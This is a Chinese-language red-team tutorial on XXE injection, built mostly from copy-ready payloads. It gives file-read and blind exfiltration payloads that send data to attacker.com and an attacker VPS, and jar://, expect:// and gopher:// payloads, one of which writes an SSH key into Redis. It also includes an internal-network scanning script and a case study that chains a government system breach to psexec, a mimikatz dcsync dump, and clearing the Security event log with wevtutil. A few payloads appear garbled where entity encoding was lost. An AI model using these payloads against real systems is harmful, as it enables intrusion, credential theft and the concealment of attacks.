XXE 注入漏洞全解析:从原理到实战
XXE 注入漏洞全解析:从原理到红队实战(含 SRC 挖掘与护网渗透技巧)
免责声明
- 本文分享的渗透测试技术,核心目的是帮助读者 “理解攻击原理,进而构建更有效的防御体系”—— 渗透测试的本质是 “以攻促防”,而非 “指导攻击”。
- 网络安全行业的核心伦理是 “保护而非破坏”:所有测试行为需严格控制在授权范围内,测试结束后需完整恢复目标系统状态(如删除后门、清理日志、还原配置),严禁窃取、篡改、泄露目标系统的敏感数据(如用户信息、商业机密、核心代码),严禁破坏目标系统的正常运行。
- 网络安全是国家安全的重要组成部分,合法合规是每一位渗透测试工程师的职业底线。
- 您一旦阅读并使用本文内容,即视为已充分理解并同意本免责声明的全部条款。
XXE(XML External Entity Injection,XML 外部实体注入)
是一种常被低估却极具杀伤力的漏洞 —— 它通过滥用 XML 解析器对外部实体的处理机制,可实现读取本地文件、探测内网、攻击后端系统等深度渗透效果。本文将从 XXE 的核心原理出发,系统梳理其分类、payload 构造、SRC 挖掘策略,重点解析在实战与护网中如何利用 XXE 突破边界,并结合真实案例阐述攻击链路,帮助读者建立从 “漏洞发现” 到 “实战利用” 的完整认知。
一、XXE 核心原理:从 XML 解析看外部实体的危害
XXE 漏洞源于XML 解析器对外部实体的不安全处理。当 XML 文档中包含外部实体引用,且解析器未禁用外部实体加载时,攻击者可通过构造恶意 XML 内容,诱导解析器加载外部资源(如本地文件、内网服务),从而窃取数据或探测网络。
1. XML 与实体基础
XML(可扩展标记语言)用于数据存储和传输,其结构由元素、属性、实体组成。实体是 XML 中的 “变量”,可分为:
- 内部实体:定义在 XML 文档内部,如``,引用时用
&myentity;
; - 外部实体:定义在外部文件中,通过
SYSTEM
关键字引用,如``,解析时会加载外部资源。
XXE 漏洞的核心就是外部实体被恶意滥用—— 当解析器允许加载外部实体时,攻击者可通过外部实体引用读取文件、访问内网服务等。
2. XXE 的危害与攻击链路
XXE 的攻击链路可简化为:
发现XML输入点 → 构造恶意XML(含外部实体) → 服务器解析XML → 触发外部实体加载(读取文件/访问内网) → 获取数据/探测信息
其核心危害包括:
- 读取本地文件:如
/etc/passwd
、C:\Windows\system32\drivers\etc\hosts
; - 探测内网端口:通过访问
http://192.168.1.1:80
判断内网服务是否存活; - 攻击后端系统:结合内网服务漏洞(如 Redis 未授权、JBoss 反序列化);
- 远程代码执行(特定场景):在支持
expect://
等协议的环境(如 PHP+libxml2)中执行命令。
二、XXE 语句大全:从基础到绕过(按场景分类)
XXE payload 的核心是定义恶意外部实体并引用,根据目标解析器的配置(如是否禁用外部实体、支持的协议)和过滤规则,需灵活构造。以下是实战中高频使用的 payload 及适用场景:
1. 基础型 XXE(无过滤场景)
适用于 XML 解析器未禁用外部实体,且无输入过滤的场景,直接引用外部实体读取文件:
(1)读取本地文件(最常用)
<!-- 标准外部实体引用 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd"> <!-- Linux系统 -->
]>
<root>&xxe;</root><!-- 读取Windows文件 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">
]>
<root>&xxe;</root><!-- 读取配置文件(如数据库密码) -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///var/www/config.php">
]>
<root>&xxe;</root>
(2)引用外部 DTD 文件(拆分 payload,绕过简单过滤)
当目标对内部 DTD(`内的定义)过滤严格时,可将实体定义放在外部 DTD 文件中,通过 URL 引用:
<!-- 本地XML文件 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root SYSTEM "http://attacker.com/evil.dtd"> <!-- 引用外部DTD -->
<root>&xxe;</root><!-- 攻击者服务器上的evil.dtd -->
<!ENTITY xxe SYSTEM "file:///etc/passwd"> <!-- 定义外部实体 -->
2. 盲注型 XXE(无回显场景)
当 XML 解析结果不直接回显(如仅返回 “成功 / 失败”),需通过 “外带数据”(将结果发送到攻击者服务器)获取信息,即 “盲 XXE”:
(1)基于 HTTP 的外带数据
<!-- 本地XML -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY % file SYSTEM "file:///etc/passwd"> <!-- 定义参数实体,读取文件 --><!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://attacker.com/log?data=%file;'>"> <!-- 将文件内容作为URL参数发送 -->%eval; <!-- 执行eval实体 -->%exfiltrate; <!-- 执行exfiltrate实体,发送数据 -->
]>
<root></root>
原理:
%file
读取/etc/passwd
内容;%eval
定义实体%exfiltrate
,其值为含%file
的 URL;- 解析时
%exfiltrate
被执行,将文件内容发送到attacker.com/log
。
(2)基于 FTP 的外带数据(适用于 HTTP 被拦截场景)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'ftp://attacker.com:2121/%file;'>">%eval;%exfiltrate;
]>
<root></root>
攻击者需在 VPS 上启动 FTP 服务器监听 2121 端口,接收包含文件内容的连接请求。
3. 协议扩展型 XXE(跨场景利用)
不同 XML 解析器支持的协议不同,需根据后端语言选择合适的协议(如 Java 支持jar://
,PHP 支持expect://
):
后端语言 / 解析器 | 支持的协议(部分) | 典型用途 |
---|---|---|
Java( Xerces) | file:// 、http:// 、https:// 、jar:// 、netdoc:// | 读取文件、访问内网 HTTP 服务、加载恶意 JAR 包 |
PHP(libxml2) | file:// 、http:// 、ftp:// 、expect:// (需编译时启用) | 读取文件、执行命令(expect 协议) |
Python(lxml) | file:// 、http:// 、ftp:// | 读取文件、探测内网服务 |
.NET(XmlReader) | file:// 、http:// | 读取文件、访问内网服务 |
(1)Java 环境:利用jar://
协议攻击
<!-- 加载恶意JAR包(需配合Java反序列化漏洞) -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "jar://http://attacker.com/evil.jar!/payload">
]>
<root>&xxe;</root>
若后端存在反序列化漏洞,恶意 JAR 包中的 payload 可触发代码执行。
(2)PHP 环境:利用expect://
协议执行命令(需 libxml2 支持)
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "expect://id"> <!-- 执行id命令 -->
]>
<root>&xxe;</root>
注意:仅当 PHP 编译时启用--with-expect
,且 libxml2 版本 < 2.9.0(默认禁用外部实体)时有效。
4. 绕过过滤的 XXE(实战高频)
当目标对SYSTEM
、file://
等关键词过滤时,可通过以下方式绕过:
(1)关键词变形与编码
<!-- 大小写混淆(针对大小写敏感的过滤) -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe sYstEm "file:///etc/passwd"> <!-- SYSTEM大小写混合 -->
]>
<root>&xxe;</root><!-- 实体编码(将关键词转为HTML实体) -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd"> <!-- SYSTEM的HTML实体编码 -->
]>
<root>&xxe;</root>
(2)嵌套实体(绕过对`的直接过滤)
<!-- 外层实体引用内层实体,拆分定义 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY a SYSTEM "file:///etc/passwd"><!ENTITY b "&a;"> <!-- 嵌套引用 -->
]>
<root>&b;</root>
(3)利用内部子集与参数实体
<!-- 用参数实体(%开头)绕过对普通实体的过滤 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY % xxe SYSTEM "file:///etc/passwd"><!ENTITY yyy "%xxe;"> <!-- 参数实体需通过普通实体引用 -->
]>
<root>&yyy;</root>
5. 特殊场景 XXE(文件上传、API 等)
(1)基于文件上传的 XXE(如 docx、pdf、svg 等)
许多文件格式本质是 XML 或包含 XML(如 docx 是 zip 压缩包,内含word/document.xml
),可通过修改文件中的 XML 注入 XXE:
<!-- 修改docx中的word/document.xml -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<w:document><w:body><w:p><w:r><w:t>&xxe;</w:t></w:r></w:p> <!-- 引用实体 --></w:body>
</w:document>
上传修改后的 docx 文件,若服务器解析文件内容(如预览、转换格式),则会触发 XXE。
(2)SOAP API 中的 XXE(WebService 接口)
SOAP 协议基于 XML,API 请求体为 XML 格式,易存在 XXE:
<!-- SOAP请求中的XXE -->
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.example.com"><!DOCTYPE root [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><soapenv:Header/><soapenv:Body><ser:query><ser:param>&xxe;</ser:param> <!-- 引用实体 --></ser:query></soapenv:Body>
</soapenv:Envelope>
三、SRC 中 XXE 漏洞的高效挖掘策略
XXE 在 SRC 中属于中高危漏洞(尤其能读取敏感文件时),但因测试门槛高于 XSS,竞争较少。挖掘需聚焦 “XML 输入场景”,结合精准测试流程。
1. 识别潜在 XXE 输入点(优先测试这些场景)
- API 接口:接受 XML 格式请求的接口(如
Content-Type: application/xml
); - 文件上传:支持 XML、SVG、DOCX、PDF、PPTX 等格式的上传功能(这些格式含 XML 组件);
- 配置导入:系统设置中 “导入配置” 功能(通常接收 XML 文件);
- WebService/SOAP 服务:基于 SOAP 协议的接口(请求体为 XML);
- RSS/Atom 订阅:处理 XML 格式订阅源的功能。
2. 测试流程(从验证到证明危害)
(1)基础验证(判断是否支持外部实体)
向 XML 输入点发送含基础外部实体的请求,观察是否回显文件内容:
<!-- 测试请求 -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY test SYSTEM "file:///etc/passwd"> <!-- Linux --><!-- 若为Windows,替换为"file:///C:/Windows/win.ini" -->
]>
<root>&test;</root>
- 若响应中包含
/etc/passwd
内容(如root:x:0:0:root:/root:/bin/bash
),则存在 XXE; - 若无回显,进入盲 XXE 测试。
(2)盲 XXE 验证(无回显场景)
构造外带数据的 payload,在攻击者 VPS 上监听请求:
<!-- 盲XXE测试payload -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://attacker-vps:8080/?data=%file;'>">%eval;%exfiltrate;
]>
<root></root>
在 VPS 上启动 HTTP 服务器(如python -m http.server 8080
),若收到含/etc/passwd
内容的请求,证明存在盲 XXE。
(3)证明危害(SRC 提交关键)
- 读取敏感文件:优先读取
/etc/passwd
、/proc/self/environ
(环境变量)、C:\Windows\system32\drivers\etc\hosts
等,截图响应作为证明; - 内网探测:若能访问
http://192.168.1.1
,证明可探测内网,提升漏洞评分。
3. SRC 提交技巧(提高审核通过率)
- 明确场景:说明漏洞位置(如 “/api/user 接口,Content-Type: application/xml”);
- 复现步骤:提供完整的 XML 请求包(含 payload)和响应结果;
- 危害证明:附上读取到的敏感文件截图(如
/etc/passwd
),或盲 XXE 的 VPS 日志截图; - 区分类型:标注是 “有回显 XXE” 还是 “盲 XXE”,盲 XXE 需说明数据外带方式。
四、实战与护网中 XXE 的深度利用(红队进阶技巧)
在实战和护网中,XXE 的价值在于突破网络边界—— 通过 XML 解析器的 “信任”,实现从外网到内网的探测与攻击,尤其适合攻击防御严格的目标。
1. 利用 XXE 读取敏感文件(获取初始突破口)
场景
目标网站的用户头像上传功能支持 SVG 格式(SVG 是 XML 文件),且服务器会解析 SVG 内容生成预览图。
实战步骤
-
构造恶意 SVG 文件:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///var/www/html/config/database.php"> <!-- 读取数据库配置 --> ]> <svg width="100" height="100"><text x="10" y="20">&xxe;</text> <!-- 引用实体,将配置内容嵌入SVG --> </svg>
-
上传 SVG 并查看预览:
- 上传文件后,服务器生成预览图,解析 SVG 时触发 XXE;
- 预览图中显示数据库配置内容(如
$dbpass = 'P@ssw0rd123'
)。
-
后续利用:使用获取的数据库账号密码登录数据库,进一步读取用户数据或写入 Webshell。
2. 利用 XXE 探测内网(突破网络隔离)
场景
目标网站部署在 DMZ 区(外网可达),但其 XML 解析器可访问内网(192.168.0.0/24),需通过 XXE 探测内网存活主机和服务。
实战步骤
-
构造内网探测 payload:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [<!-- 探测192.168.0.1-10的80端口 --><!ENTITY % probe "<!ENTITY % exfiltrate SYSTEM 'http://attacker-vps:8080/probe?ip=192.168.0.%d&port=80'>">%probe;%exfiltrate; <!-- 依次替换%d为1-10,发送10个请求 --> ]> <root></root>
-
批量发送请求并分析响应时间:
- 向目标 XML 接口发送针对 192.168.0.1-255 的探测 payload;
- 攻击者 VPS 记录请求到达时间:若某 IP 的请求响应时间明显较短,说明该 IP:80 端口存活(服务响应快)。
-
发现内网关键资产:
- 日志显示 192.168.0.10:8080 有响应,推测是内网管理系统;
- 进一步构造 payload 访问该系统:``,获取登录页面源码,寻找弱口令或注入点。
3. 利用 XXE 结合内网服务漏洞(深化攻击)
场景
通过 XXE 探测发现内网存在 Redis 服务(192.168.0.20:6379,未授权访问),需利用 XXE 向 Redis 写入恶意数据。
实战步骤
-
构造攻击 Redis 的 XXE payload:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE root [<!-- 向Redis发送命令:写入SSH公钥到/root/.ssh/authorized_keys --><!ENTITY xxe SYSTEM "gopher://192.168.0.20:6379/_*1%0D%0A$8%0D%0Aflushall%0D%0A*3%0D%0A$3%0D%0Aset%0D%0A$1%0D%0A1%0D%0A$45%0D%0A%0A%0Assh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC...%0A%0A%0D%0A*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$3%0D%0Adir%0D%0A$16%0D%0A/root/.ssh/%0D%0A*4%0D%0A$6%0D%0Aconfig%0D%0A$3%0D%0Aset%0D%0A$10%0D%0Adbfilename%0D%0A$15%0D%0Aauthorized_keys%0D%0A*1%0D%0A$4%0D%0Asave%0D%0A"> ]> <root>&xxe;</root>
原理:
gopher://
协议可模拟 TCP 请求,向 Redis 发送 “写入 SSH 公钥” 的命令序列。 -
执行 payload 并验证:
- 目标 XML 解析器执行 payload,向 Redis 发送命令;
- 攻击者通过 SSH 登录内网 Redis 服务器:
ssh root@192.168.0.20
(无需密码,因已写入公钥)。
-
横向移动:从 Redis 服务器进一步扫描内网其他主机,获取域内权限(护网中此步骤可大幅得分)。
4. 实战工具与利用框架
(1)Burp Suite(XXE 测试必备)
- 拦截与修改 XML 请求:在 “Proxy” 模块拦截 XML 格式的请求,手动插入 XXE payload;
- 插件辅助:安装 “XML External Entity Scanner” 插件,自动检测 XXE 漏洞;
- 重放测试:在 “Repeater” 模块反复调整 payload,测试不同协议和文件路径。
(2)XXEinjector(自动化盲 XXE 测试)
一款专门用于盲 XXE 测试的工具,支持外带数据提取、内网扫描等:
# 安装
git clone https://github.com/enjoiz/XXEinjector.git
cd XXEinjector
chmod +x XXEinjector.rb# 测试盲XXE(从文件读取数据并外带)
ruby XXEinjector.rb -i input.xml -o output.xml -p http -u http://attacker-vps:8080 -f /etc/passwd
input.xml
:原始 XML 请求模板;output.xml
:生成的恶意 XML;-u
:攻击者接收数据的 URL。
(3)自定义 Python 脚本(批量探测内网)
import requests# 内网IP段和端口
ips = [f"192.168.0.{i}" for i in range(1, 255)]
ports = [80, 443, 3306, 6379, 8080]# XML模板
xml_template = """<?xml version="1.0"?>
<!DOCTYPE root [<!ENTITY xxe SYSTEM "http://{ip}:{port}">
]>
<root>&xxe;</root>
"""# 目标接口
url = "http://target.com/api/parse"for ip in ips:for port in ports:xml = xml_template.format(ip=ip, port=port)try:response = requests.post(url, data=xml, headers={"Content-Type": "application/xml"}, timeout=5)print(f"Tested {ip}:{port} - Status: {response.status_code}")except Exception as e:print(f"Tested {ip}:{port} - Error: {str(e)}")
脚本批量测试内网 IP 和端口,通过响应状态判断服务是否存活。
五、护网行动中 XXE 的防御与反制(红蓝对抗视角)
在护网中,蓝队的防御措施会直接影响 XXE 的利用效果,红队需针对性绕过:
1. 蓝队常见防御措施
- 禁用外部实体:配置 XML 解析器禁用外部实体(如 Java 中
DocumentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)
); - 过滤关键词:WAF 拦截含
DOCTYPE
、SYSTEM
、file://
等的 XML 请求; - 限制协议:禁止解析器使用
file://
、gopher://
等危险协议; - 使用安全解析库:如 Python 的
defusedxml
替代lxml
/xml.etree
。
2. 红队绕过技巧
- 绕过外部实体禁用:利用内部实体嵌套或参数实体(部分解析器对参数实体过滤不严);
- 绕过 WAF 关键词过滤:使用大小写混淆、实体编码、拆分
DOCTYPE
(如``); - 利用协议变种:如
file:///
改为file:/../../
(路径穿越)、http://
改为http://@
(URL 混淆); - 攻击文件上传:通过修改 docx、svg 等文件中的 XML,绕过对 API 接口的直接过滤。
六、实战案例:某政务系统 XXE 渗透全流程(护网红队视角)
背景
目标为某政务系统(gov.example.com
),护网中发现其 “数据导入” 功能支持 XML 格式配置文件,且存在 XXE 漏洞。
渗透步骤
- 漏洞验证:
- 构造含
/etc/passwd
引用的 XML 文件,上传后查看返回结果,发现响应中包含root:x:0:0:root:/root:/bin/bash
,确认有回显 XXE。
- 构造含
- 读取敏感文件:
- 上传读取
/proc/self/environ
的 XML(环境变量文件),获取数据库连接信息:DB_HOST=192.168.10.5; DB_USER=admin; DB_PASS=Gov@2024!
; - 读取
/etc/hosts
,发现内网域名dc.gov.example.com
(推测为域控)。
- 上传读取
- 内网探测与攻击:
- 构造探测
192.168.10.5:3306
(数据库)的 payload,确认服务存活; - 利用获取的数据库账号密码远程登录 MySQL,读取
user
表,获取管理员哈希(admin:$1$xyz...
); - 通过哈希破解工具(如 Hashcat)得到明文密码
Admin@Gov2024
。
- 构造探测
- 横向移动至域控:
- 使用破解的密码通过
psexec
登录域控(dc.gov.example.com
):psexec \\dc.gov.example.com -u admin -p Admin@Gov2024 cmd
; - 获取域控权限后,导出域内所有用户哈希(
mimikatz.exe "lsadump::dcsync /domain:gov.example.com /all /csv"
),完成护网目标。
- 使用破解的密码通过
- 痕迹清理:
- 删除上传的恶意 XML 文件,清理数据库登录日志;
- 清除域控上的命令执行痕迹(
wevtutil cl Security
)。
七、总结:XXE 的核心价值与红队思维
XXE 的本质是 “XML 解析器的信任滥用”,其危害深度远超 “读取文件”—— 在红队视角中,它是突破网络边界的 “隐形通道”,能借助服务器的内网访问权限,实现从外网到内网的探测与攻击。
在 SRC 挖掘中,XXE 的高价值点在于 “文件上传场景”(如 SVG、DOCX)和 “管理员功能”(如配置导入);在实战与护网中,XXE 的核心用法是 “内网探测 + 敏感信息窃取”,结合内网服务漏洞(如 Redis、MySQL)可实现深度渗透。
红队工程师需建立 “协议感知” 思维:不同后端语言支持的协议不同,需针对性构造 payload(如 Java 用jar://
,PHP 尝试expect://
);同时,需关注 “无回显场景” 的盲 XXE 利用,掌握数据外带技巧(HTTP/FTP/Gopher)。
重要提示:XXE 攻击可能导致敏感数据泄露和内网入侵,所有测试必须在合法授权下进行,严格遵守《网络安全法》及相关法规。
八、XXE测试注入脚本语句
1.<?xml version="1.0"?><change-log><text><script>alert("Hello World")</script></text></change-log>
2.<test> $lDOMDocument->textContent=<![CDATA[<]]>script<![CDATA[>]]>alert('xxe')<![CDATA[<]]>/script<![CDATA[>]]> </test>
3.<?xml version="1.0"?> <!DOCTYPE change-log [ <!ENTITY systemEntity SYSTEM "robots.txt"> ]> <change-log> <text>&systemEntity;</text>; </change-log>
4. [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect /NoExecute=OptIn ;
5.<?xml version="1.0"?><!DOCTYPE change-log [<!ENTITY systemEntity SYSTEM "../../../../boot.ini">]><change-log><text>&systemEntity;</text></change-log>
6.<?xml version="1.0"?><!DOCTYPE change-log [<!ENTITY systemEntity SYSTEM "robots.txt">]><change-log><text>&systemEntity;</text></change-log>
7.<change-log><text>&systemEntity;</text></change-log>
8.<!ENTITY systemEntity SYSTEM "robots.txt">
9.<?xml version="1.0"?><!DOCTYPE change-log[ <!ENTITY myEntity "World"><!ENTITY myQuote """> ]><change-log><text>&myQuote;Hello &myEntity;&myQuote;</text></change-log>
10. <?xml version="1.0"?><!DOCTYPE change-log[ <!ENTITY myEntity "World"> ]><change-log><text>Hello &myEntity;</text></change-log>
11.<?xml version="1.0"?><change-log><text>"Hello World"</text></change-log>
12. <?xml version="1.0"?><change-log><text>Hello World</text></change-log>